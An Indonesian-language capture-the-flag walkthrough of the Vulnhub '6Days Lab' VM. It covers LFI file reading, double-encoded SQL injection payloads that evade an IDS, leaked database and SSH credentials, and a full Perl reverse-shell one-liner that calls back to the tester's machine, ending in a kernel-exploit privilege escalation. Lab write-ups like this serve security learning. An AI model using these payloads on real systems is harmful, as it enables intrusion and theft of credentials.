1. Latar Belakang

Ini adalah sebuah latihan CTF (Capture The Flag) yang saya dapat kan di Vulnhub berjudul 6Days Lab: 1.1 Objective dari latihan ini adalah mengeksekusi file bernama /flag, didalam keterangannya VM ini menggunakan  Intrusion detection system(IDS) dan Sanboxes 

Ip Lokal    : 172.16.61.161 
IP Target   : 172.16.61.162

2. Pengumpulan Infomasi

Seperti biasa tahap pertama yang saya lakukan adalah scan target menggunakan nmap

Screen Shot 2016-09-29 at 3.06.27 PM.png
nmap -Pn -sV -p- 172.16.61.162

Tampak untuk sementara ini ada tiga TCP ports yang terbuka, Port 22 SSH, Port 80 HTTP dan port 8080 HTTP-PROXY

3. Enumerasi Service

3.1 Port 22

Port pertama yang akan kita enumerasi adalah port 22 SSH

screen-shot-2016-09-29-at-5-42-25-pm

Tampak disini target kita menggunakan OpenSSH 5.9p1 Debian 5ubuntu1.4

3.2 Enumerasi Port 80

Langkah pertama yang saya lakukan adalah menggunakan Nikto

screen-shot-2016-09-29-at-5-57-28-pm

Tampak dari hasil ini yang menarik hanyalah adanya file bernama config.php, selain itu belum ada yang menarik, saatnya kita coba buka di web browser

screen-shot-2016-09-29-at-6-46-50-pm

Kemudian saya coba untuk memasukan promocode NONEEDFORPENTEST yang keluar hanyalah Code expired! 

Kemudian pada web browser saya buka ‘page source’ yang berisi:

<html>
<head>
<title>Rashomon IPS - Main Page</title>
</head>
<body>
<h2>Rashomon Intrusion Prevention System</h2>
<h3>Become immune to every attack!</h3>
Today we're announcing our brand new product, Rashomon IPS! <br />
It's capable of blocking any <b>sophisticated cyber attack</b> which <u>can harm your precious customers.</u> (you don't want THAT to happen, do you?) <br />
<img src="http://192.168.0.106/image.php?src=https%3A%2f%2f4.bp.blogspot.com%2f-u8Jo4CEKQLk%2fV4OpiaoMJ7I%2fAAAAAAAAAiw%2f8kuCpTOpRWUAdp2p4GpegWdnOwxjwHNYQCLcB%2fs1600%2fphoto.jpg" /> <br />
(This guy is coming after your website!) <br />
<br />
Don't waste your time and money by hiring <font color="#ff00cc">pentesters</font> and doing real security audits. <br />
This is the best way to secure your organization and you can completely rely on it, and only it! <br />
<br />
IT'S SO SECURE WE EVEN USE IT ON OUR WEBSITE. <br />
<br />
So be quick and get a <u>%15 discount</u> on our newest product using the promocode <b>NONEEDFORPENTEST</b>. (discount will be available until yesterday)<br />
<br />
<form name="promo" method="GET" action="checkpromo.php">
Apply your promo code here: <input type="text" name="promocode">
<input type="submit" value="Apply Promo">
</form>
</body>
</html>

Kelihatan jelas disini adanya ‘gambar’ yang di tarik dari luar, menandakan kemungkinan saya bisa lakukan  LFI/RFI.

Menggunakan burbsuite saya akan mencoba kemungkinan ini, mencoba mendapatkan listing dari /etc/passwd

screen-shot-2016-09-29-at-7-31-32-pm

Berhasil! terlihat disini ada user bernama ‘andrea’ berikutnya saya coba memasukan shell ternayata tidak bisa, tapi saya bisa melihat isi script PHP.

Selanjutnya saya akan memeriksa isi dari checkpromo.php

 http://172.16.61.162/image.php?src=checkpromo.php

screen-shot-2016-09-29-at-7-38-52-pm

Terlihat disini tampak nya kita bisa lakukan SQL injection, mari kita coba :

screen-shot-2016-09-29-at-7-47-34-pm

Keluar tulisan “Malicious request blocked! ~Rashomon I” tampaknya nya di block oleh IDS. Mari kita lanjutkan dengan melihat config.php

screen-shot-2016-09-29-at-7-52-52-pm

Disini tampak kredensial untuk menyambung ke database

$servername = "localhost";
$username = "sellingstuff";
$password = "n0_\$\$_n0_g41ns";
$dbname = "fancydb";

Selanjutnya saya coba menjalan kan perintah ini untuk check default site apache

http://172.16.61.162/image.php?src=/etc/apache2/sites-available/default

screen-shot-2016-09-29-at-9-34-01-pm

Tampak disini adanya port 8080 tampak nya website sebenarnya berjalan di port 8080 yang hanya menerima sambungan lokal dan kemudian di forward oleh port 80.

screen-shot-2016-09-29-at-8-42-26-pm

Ternyata benar, kita bisa kirim perintah lewat image.php , sekarang tinggal cara mencari tahu untuk membaypas firewall tersebut,  dengan melakukan double encoding demi menipu firewall.

Pertama sekali kita perlu tahu table apa saja yang ada di database “fancydb” dengan menggunakan perintah sql

union all select concat(table_name,'||||',table_schema) from information_schema.tables

Disini saya menggunakan python script untuk melakukan double encode 

Screen Shot 2016-10-04 at 1.48.45 PM.png

yang memberikan hasil seperti ini

screen-shot-2016-10-04-at-1-47-54-pm

Tampak disini database fancydb mempunya 2 Tables yaitu promocodes dan users 

Selanjutnya kita perlu mencari tahu colom apa saja yang tersedia didalam table bernama users

dengan menggunakan perintah SQL sebagai berikut :

union all select concat(table_name,'||||',column_name),2 from information_schema.columns where table_schema='fancydb'

screen-shot-2016-10-04-at-3-01-32-pm

Dengan menggunakan Burbsuite menghasilkan output seperti ini

screen-shot-2016-10-04-at-2-59-59-pm

Terlihat dari hasil diatas bahwa Table users mempunyai 3 kolom yaitu id, username dan password.

Disenjatai dengan informasi ini akan lebih memudahkan bagi saya untuk melihat isi table users

dengan menggunakan perintah SQL sebagai berikut :

union all select concat(username,'||||',password),2 from fancydb.users

screen-shot-2016-10-04-at-3-01-32-pm

Hasil double encode diatas kita jalankan melalui Burbsuite, akan memberikan hasil seperti ini :

screen-shot-2016-10-04-at-3-05-03-pm

4. Eksplotasi

Hasil diatas menunjukan kita mendapatkan  password dari user  andrea yaitu SayNoToPentests

Tebakan saya adalah password ini dapat digunakan untuk login ke SSH

screen-shot-2016-09-30-at-1-14-12-pmTernyata password yang digunakan sama, akhirnya saya berhasil masuk, tetapi saya tidak bisa mengeksekusi perintah apa-apa, namun setelah saya periksa tampak nya shell ini bisa menjalankan pearl yang saya dapatkan disini , saya coba dengan memasukan perintah ini untuk melakukan reverse shell dan kemudian mempersiapkan netcat listener.

perl -e 'use Socket;$i="172.16.61.161";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

screen-shot-2016-09-30-at-1-33-56-pm

Dengan shell yang baru ini kita dapat melakukan eksekusi perintah, langkah berikutnya adalah Privilege escalation, langkah berikutnya kita memeriksa versi kernel dan versi Ubuntu

screen-shot-2016-09-30-at-3-01-50-pm

Tampak disini target kita menggunakan Ubuntu versi 12.04 yang menggunakan Linux Kernel 3.13, kembali ke google saya mencari informasi kerentanan versi ini, akhirnya sampailah saya ke page ini

Saya download menggunakan wget

screen-shot-2016-09-30-at-3-15-03-pm

Selanjutnya saya compile file 60days.c menggunakan gcc

gcc -o 60days 60days.c
chmod +x 60days
./60days

 screen-shot-2016-09-30-at-3-22-22-pm

Setelah eksekusi ./60days langsun kita mendapatkan hak akses sebagai root kemudian tinggal menjalankan ./flag, yang menandakan berakhirnya permainan CTF  ini

screen-shot-2016-09-30-at-3-24-59-pm

Terima kasih

Advertisements